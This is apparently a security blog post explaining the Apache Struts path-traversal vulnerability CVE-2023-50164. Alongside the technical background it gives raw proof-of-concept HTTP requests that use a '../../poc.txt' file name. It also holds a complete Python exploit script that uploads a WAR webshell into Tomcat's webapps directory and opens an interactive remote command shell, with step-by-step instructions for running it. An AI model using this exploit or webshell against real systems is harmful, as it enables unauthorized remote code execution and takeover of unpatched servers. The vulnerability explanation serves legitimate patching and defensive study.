Understanding the Apache Struts Vulnerability: CVE-2023-50164

In the ever-evolving world of technology, staying ahead of potential security threats is no longer optional – it’s a necessity.

With rising instances of data breaches and hacking attempts, understanding how these infiltrations occur is the first step towards safeguarding your digital assets.

In this blog post, we will delve into an intriguing case study: The Apache Struts vulnerability (CVE-2023-50164).

By dissecting this critical flaw, we hope to shed light on the intricate mechanisms behind such vulnerabilities and how they can be exploited.

Technical Details

The Apache Struts Remote Code Execution Vulnerability (S2-066 CVE-2023-50164) refers to a severe security flaw found in the Apache Struts framework.

This vulnerability allows an attacker to manipulate file upload parameters to enable path traversal.

Under certain conditions, this could lead to the uploading of a malicious file, which can then be used to execute arbitrary code remotely.

The versions affected by this vulnerability are Struts 2.5.0 to Struts 2.5.32, and Struts 6.0.0 to Struts 6.3.0.

The vulnerability arises from two specific commits: ‘Always delete uploaded file’ and ‘Makes HttpParameters case-insensitive’. The former ensures that uploaded temporary files are correctly uploaded and that by constructing overly long file upload parameters, temporary files can continue to exist on the disk.

The latter change makes the org.apache.struts2.dispatcher.HttpParameters class case-insensitive to parameter names. After some consideration, it appears that the former commit doesn’t have a direct relationship with the vulnerability and is initially skipped.

The patch modifies the logic of several main methods in HttpParameters, focusing on the methods that write operations to the parameters, such as HttpParameters#appendAll. In the org.apache.struts2.interceptor.FileUploadInterceptor#intercept method, this method is used to add request parameters.

The vulnerability occurs when a multipart form request is used and the constraints for path normalization are bypassed.

The flaw exists in the Struts 2 framework’s “file upload logic” within the commons-fileupload component, which is the built-in file upload mechanism for Struts. The FileUploadInterceptor class intercepts multipart-encoded requests and adds the relevant parameters to the HttpParameters object.

In this scenario, the FileUploadInterceptor retrieves three parameters – “upload”, “uploadContentType”, and “uploadFileName” – which developers can access via setter methods in the Action class. However, it appears that if the HttpParameters object stores both uppercase and lowercase versions of these parameter names, one could potentially overwrite the other via the setter method.

The vulnerability also involves directory traversal. In theory, an attacker could override the “uploadFileName” parameter in the Action class, leading to a potential directory traversal if the business logic itself has not performed any checks.

This vulnerability has been assigned a CVSS score of 9.8, indicating its severity. Users of affected versions are advised to upgrade their software immediately to secure their systems.

This vulnerability is a serious threat as it could potentially enable remote attackers to execute arbitrary code on affected servers. As a result, it is strongly recommended that users of the affected versions upgrade their software immediately to secure their systems.

Analysis of PoCs

The HTTP POST requests we’ve provided are examples of how an attacker might exploit this vulnerability.

The first example seems to be a simple file upload request, with a file named “poc.txt” being uploaded. The file contains a test string, and the request includes a form-data field named “caption” filled with a random string of a specific length.

POST /s2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Length: 593
 
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc.txt"
Content-Type: text/plain
 
test
 
 
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="caption";
 
 
{{randstr(4097,4097)}}
 
------WebKitFormBoundary5WJ61X4PRwyYKlip--

The second example is more concerning. It also attempts to upload a file named “poc.txt”, but this time, the “uploadFileName” form-data field is manipulated to point to a location outside the expected directory (“../../poc.txt”).

POST /s2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Length: 593
 
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc.txt"
Content-Type: text/plain
 
test
 
 
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="uploadFileName";
 
../../poc.txt
 
------WebKitFormBoundary5WJ61X4PRwyYKlip--

This is a potential exploit of the Apache Struts vulnerability, where an attacker could manipulate file upload parameters, enabling path traversal and potentially leading to arbitrary code execution.

It’s important to note that these requests are demonstrating potential security vulnerabilities and should not be used maliciously.

The provided information is an HTTP POST request that’s exploiting the Apache Struts vulnerability (CVE-2023-50164) by overwriting the uploadFileName parameter. This request is attempting to upload a file named “poc.txt” to a location two directories above the current one (“../../poc.txt”).

Here’s a breakdown of the important parts:

  • POST /s2_066_war_exploded/upload.action?uploadFileName=../../poc.txt HTTP/1.1: The POST method is used to send data to the server. Here, it’s being used to call the upload.action endpoint in the s2_066_war_exploded application. The uploadFileName parameter is manipulated to point to a location outside the expected directory.
  • Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip: This header indicates that the body of the request contains form data. The boundary parameter is used to separate different parts of the form data.
  • Content-Disposition: form-data; name="Upload"; filename="poc.txt": This part of the request body specifies the name and filename of the file to be uploaded.
  • test: This is the content of the “poc.txt” file being uploaded.

This is a potential malicious activity as it can lead to arbitrary code execution if the server is vulnerable.

This guide will walk you through the steps to exploit this vulnerability by using a demonstration app and an exploit script available on GitHub.

Exploiting Apache Struts Path Traversal to RCE Vulnerability

This guide will walk you through the steps to exploit this vulnerability by using a demonstration app and an exploit script available on GitHub.

Step 1: Setting Up the Demonstration App

First, you’ll need to set up the demonstration app provided in the struts-app folder of the GitHub repository.

You can deploy this app to Tomcat or any other servlet container, or run it directly using Maven with the command mvn jetty:run. If you choose the latter option, the app will be accessible on port 9999.

Please note that the exploit script provided in the next step is specifically designed for instances where the app is deployed to Tomcat, as it utilizes a WAR webshell for exploitation.

However, different exploitation paths may be possible depending on the technologies used and other factors.

import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError

MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
CATALINA_HOME = "/opt/tomcat/"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 2


def get_base_url(url):
    parsed_url = urlparse(url)
    base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
    return base_url

def create_war_file():
    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
        print("[+] WAR file created successfully.")
    else:
        print("[+] WAR file already exists.")

def upload_file(url):
    create_war_file()

    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        print("[-] ERROR: webshell.war not found in the current directory.")
        exit()

    war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + '..' + \
        CATALINA_HOME + 'webapps/' + NAME_OF_WEBSHELL_WAR

    war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()

    files = {
        HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.txt", war_file_content, "application/octet-stream"),
        HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
    }

    boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {"Content-Type": m.content_type}

    try:
        response = requests.post(url, headers=headers, data=m)
        print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
    except requests.RequestException as e:
        print("[-] Error while uploading the WAR webshell:", e)
        sys.exit(1)

def attempt_connection(url):
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            r = requests.get(url)
            if r.status_code == 200:
                print('[+] Successfully connected to the web shell.')
                return True
            else:
                raise Exception
        except ConnectionError:
            if attempt == MAX_ATTEMPTS:
                print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
        except Exception:
            if attempt == MAX_ATTEMPTS:
                print('[-] Maximum attempts reached. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
    return False

def start_interactive_shell(url):
    if not attempt_connection(url):
        sys.exit()

    while True:
        try:
            cmd = input("\033[91mCMD\033[0m > ")
            if cmd == 'exit':
                raise KeyboardInterrupt
            r = requests.get(url + "?cmd=" + cmd, verify=False)
            if r.status_code == 200:
                print(r.text.replace('\n\n', ''))
            else:
                raise Exception
        except KeyboardInterrupt:
            sys.exit()
        except ConnectionError:
            print('[-] We lost our connection to the web shell. Exiting...')
            sys.exit()
        except:
            print('[-] Something unexpected happened. Exiting...')
            sys.exit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
    parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
    args = parser.parse_args()

    if not args.url.startswith("http"):
        print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
        exit()

    print("[+] Starting exploitation...")
    upload_file(args.url)

    webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
    print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")

    print(f"[+] Attempting a connection with webshell.")
    start_interactive_shell(webshell_url)

Step 2: Preparing for the Exploit

Next, you’ll need to install certain Python packages to facilitate the exploit. These packages are requests and requests_toolbelt, which can be installed via Python’s package installer, PIP.

Use the following command to install these packages:

pip install requests requests_toolbelt

Step 3: Running the Exploit Script

After setting up the demonstration app and installing the necessary Python packages, you can now run the exploit script. The script requires a full URL where the file upload functionality is implemented.

Here’s an example of how to run the script:

python exploit.py --url http://localhost:8080/upload-1.0.0/upload.action

By following these steps, you can understand how the Apache Struts vulnerability CVE-2023-50164 can be exploited.

Conclusion

As we conclude our deep-dive into the Apache Struts vulnerability, it becomes increasingly clear that a proactive approach to cybersecurity is crucial.

By understanding the inner workings of such vulnerabilities, we not only enhance our technical knowledge but also equip ourselves with the tools needed to mitigate potential risks.

Remember, in the realm of digital security, awareness is our strongest defense.